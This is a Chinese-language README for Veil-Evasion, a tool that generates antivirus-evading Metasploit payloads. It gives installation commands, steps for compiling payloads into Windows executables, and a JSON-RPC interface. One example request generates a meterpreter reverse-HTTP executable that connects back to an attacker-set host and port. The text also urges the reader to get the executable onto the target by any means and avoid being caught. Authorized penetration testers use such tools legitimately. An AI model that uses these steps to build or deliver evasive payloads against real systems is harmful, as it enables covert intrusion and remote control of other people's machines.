Veil-Evasion 是一款旨在生成绕过常见杀毒软件的 Metasploit 有效载荷的工具。
注意:每次主要版本更新后,都应重新运行
./setup/setup.sh。如果在运行 Veil-Evasion 时遇到任何重大错误,请首先尝试重新运行此脚本以安装额外的包并更新公共配置文件。
Veil-Evasion 目前由 @ChrisTruncer、@TheMightyShiv、@HarmJ0y 积极维护。
感谢:
或者
注意:安装必须使用超级用户权限。如果你不是使用 Kali Linux,请在每条命令前加上
sudo或在开始前切换到 root 用户。
在 Kali x86 上运行 setup.sh -c。
在 Windows 电脑上安装 Python 2.7、Py2Exe、PyCrypto 和 PyWin32(用于 Py2Exe)。
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
注意:此操作必须使用超级用户权限。如果你不是使用 Kali Linux,请在每条命令前加上
sudo或在开始前切换到 root 用户。
大多数情况下,位于 /etc/veil/settings.py 的配置文件无需重新生成,但某些情况下你可能会被提示这样做。该文件由 config/update.py 生成。
在执行 update.py 之前,务必确保你在 config/ 目录中。否则,settings.py 将不正确,启动 Veil-Evasion 时你会看到以下内容:
Main Menu
0 payloads loaded
别慌。进入 config/ 目录并重新运行 update.py。
Veil-Evasion 设计为在 Kali Linux 上运行,但也应能在任何能够执行 Python 脚本的系统上运行。只需在命令行中调用 Veil-Evasion,然后跟随菜单生成有效载荷。生成有效载荷后,Veil-Evasion 会询问你是否希望将载荷文件转换为可执行文件(通过 Pyinstaller 或 Py2Exe)。
如果使用 Pyinstaller,Veil-Evasion 会在 Kali 内将你的有效载荷转换为可执行文件。
如果使用 Py2Exe,Veil-Evasion 会创建三个文件:
将所有三个文件移动到安装了 Python 的 Windows 机器上。这三个文件应放在 Python 安装目录的根目录(通常是 C:\Python27)。运行批处理脚本将 Python 脚本转换为可执行格式。
通过任何必要的方式将可执行文件放置到目标机器上,并且不要被抓到!
在监听端,运行:
./Veil-Evasion --rpc
这将启动一个监听在端口 4242 上的监听器。
在客户端,你需要运行一个客户端程序。这可以是自定义脚本,也可以简单如 Netcat。RPC 服务器实现了 JSON-RPC。这是一个参考解释 JSON-RPC 请求和响应的好资料:http://json-rpc.org/wiki/specification
RPC 请求格式如下:
method="version" - 返回当前 Veil-Evasion 版本号
method="payloads" - 返回所有当前加载的有效载荷
method="payload_options"
params="payload_name" - 返回指定有效载荷的选项
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - 使用给定的选项生成指定的有效载荷,并返回生成的可执行文件的路径
这是一个使用 Netcat 与 Veil-Evasion 配合的简单示例:
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
以及服务器响应:
{"id":0,"result":"2.21.4","error":null}
客户端程序的一个示例可在此处找到:http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py
注意:Veil-Evasion 的端口是 4242。必须在 client.py 中更改此端口才能使其正常工作。
为了生成有效载荷,必须包含所有参数:
这是一个帮助理解是否使用 pwnstaller 的好参考:http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
生成有效载荷的示例:
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
以及服务器响应:
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
注意:如果请求中没有指定 id,Veil-Evasion 将关闭。也就是说,在 Veil-Evasion 关闭之前,你可以发送任意数量的有效请求。
要关闭 RPC 服务器,运行:
./Veil-Evasion --rpcshutdown